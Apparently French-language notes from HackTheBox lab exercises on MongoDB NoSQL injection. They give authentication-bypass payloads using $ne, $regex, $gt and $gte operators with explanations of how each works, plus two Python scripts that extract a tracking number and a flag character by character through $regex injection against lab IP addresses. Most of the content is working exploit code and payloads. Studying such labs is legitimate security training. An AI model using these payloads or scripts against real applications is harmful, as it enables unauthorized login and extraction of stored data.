MongoDB Lab noSQL injection
1er lab :
db.accounts.find({$where: this.firstName.startsWith('R') && this.firstName.length === 6 && this.lastName.startsWith('D') && this.lastName.length === 7
});
2 e lab :
Authentication bypass :
username[$ne]=toto&password[$ne]=toto
login[$regex]=.*&pass[$regex]=.*
email=admin%40mangomail.com&password[$ne]=x
Ce que ça fait :
Cible un utilisateur précis (admin@mangomail.com, %40 étant le caractère encodé pour @).
La condition password[$ne]=x signifie "le mot de passe n’est pas égal à 'x'".
Si l'entrée n'est pas validée correctement, MongoDB interprète cette requête comme :
{ email: "admin@mangomail.com", password: { $ne: "x" } }
Si le mot de passe de l'admin n'est pas "x", la requête réussit, et l'accès peut être accordé de manière non autorisée.
2. email[$gt]=&password[$gt]=
Ce que ça fait :
Les champs email et password sont fournis comme chaînes vides.
L'opérateur $gt (greater than) vérifie si les valeurs sont "supérieures à " l'entrée donnée. Comme toute chaîne est "supérieure" à une chaîne vide dans l'ordre lexicographique, cette condition peut correspondre à presque tous les enregistrements.
Interprétation de la requête :
{ email: { $gt: "" }, password: { $gt: "" } }
Cela correspond Ă tous les utilisateurs ayant un email et un mot de passe non vides.
3. email[$gte]=&password[$gte]=
Ce que ça fait :
Similaire à l'exemple précédent, mais avec $gte (greater than or equal).
$gte inclut les chaînes vides comme correspondances valides, ce qui élargit encore la portée des résultats.
Interprétation de la requête :
{ email: { $gte: "" }, password: { $gte: "" } }
Cette charge utile peut correspondre Ă des enregistrements mĂŞme si email ou password sont vides.
3e lab :
import requests
import json
# URL de la cible
url = "http://94.237.50.242:41119/index.php"
# En-tĂŞtes HTTP
headers = {
"Content-type": "application/json",
"Accept": "*/*",
"Accept-Language": "fr-FR,fr;q=0.9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36",
"Origin": "http://94.237.50.242:41119",
"Referer": "http://94.237.50.242:41119/",
"Connection": "keep-alive"
}
# Fonction pour déterminer la longueur
def find_length():
length = 1
while True:
# Tester une regex pour la longueur actuelle
current_regex = f"^.{{{length}}}$"
data = {"trackingNum": {"$regex": current_regex}}
try:
response = requests.post(url, headers=headers, json=data)
if response.status_code == 200:
print(f"Test avec regex (longueur): {current_regex}")
if "Estimated Delivery" in response.text:
print(f"Longueur trouvée : {length}")
return length
else:
print(f"Erreur HTTP {response.status_code} pour regex {current_regex}")
except Exception as e:
print(f"Erreur : {e}")
return None
length += 1
# Fonction pour trouver les caractères un par un
def find_code(length):
base_regex = "^"
possible_chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" # Tous les caractères possibles
found_string = ""
for i in range(length):
for char in possible_chars:
# Construire la regex actuelle
current_regex = base_regex + found_string + char + ".*"
data = {"trackingNum": {"$regex": current_regex}}
try:
response = requests.post(url, headers=headers, json=data)
if response.status_code == 200:
print(f"Test avec regex: {current_regex}")
if "Estimated Delivery" in response.text:
print(f"Caractère trouvé : {char}")
found_string += char # Ajouter le caractère trouvé
break # Passer au caractère suivant
else:
print(f"Erreur HTTP {response.status_code} pour regex {current_regex}")
except Exception as e:
print(f"Erreur : {e}")
return None
print(f"Code trouvé : {found_string}")
return found_string
# Étape 1 : Trouver la longueur
length = find_length()
# Étape 2 : Trouver le code si la longueur est déterminée
if length:
find_code(length)
4e lab :
import requests
import json
# URL de la cible
url = "http://94.237.51.60:51668/index.php"
# En-tĂŞtes HTTP
headers = {
"Content-type": "application/json",
"Accept": "*/*",
"Accept-Language": "fr-FR,fr;q=0.9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36",
"Origin": "http://94.237.51.60:51668",
"Referer": "http://94.237.51.60:51668/",
"Connection": "keep-alive"
}
# Fonction pour trouver le contenu entre les accolades
def find_content():
base_regex = "HTB{" # Fixe le préfixe
suffix = ".*}" # Fixe le suffixe
possible_chars = "abcdefghijklmnopqrstuvwxyz0123456789"
found_string = ""
while True:
found_character = False
for char in possible_chars:
# Construire la regex actuelle
current_regex = base_regex + found_string + char + suffix
data = {"trackingNum": {"$regex": current_regex}}
try:
response = requests.post(url, headers=headers, json=data)
if response.status_code == 200:
print(f"Test avec regex: {current_regex}")
if "bmdyy" in response.text: # Remplacer "bmdyy" par l'indicateur de succès
print(f"Caractère trouvé : {char}")
found_string += char # Ajouter le caractère trouvé
found_character = True
break # Passer au caractère suivant
else:
print(f"Erreur HTTP {response.status_code} pour regex {current_regex}")
except Exception as e:
print(f"Erreur : {e}")
return None
if not found_character:
# Si aucun caractère supplémentaire n'a été trouvé, on suppose que la chaîne est terminée
break
print(f"Chaîne trouvée : HTB{{{found_string}}}")
return f"HTB{{{found_string}}}"
# Lancer la recherche
find_content()
Last updated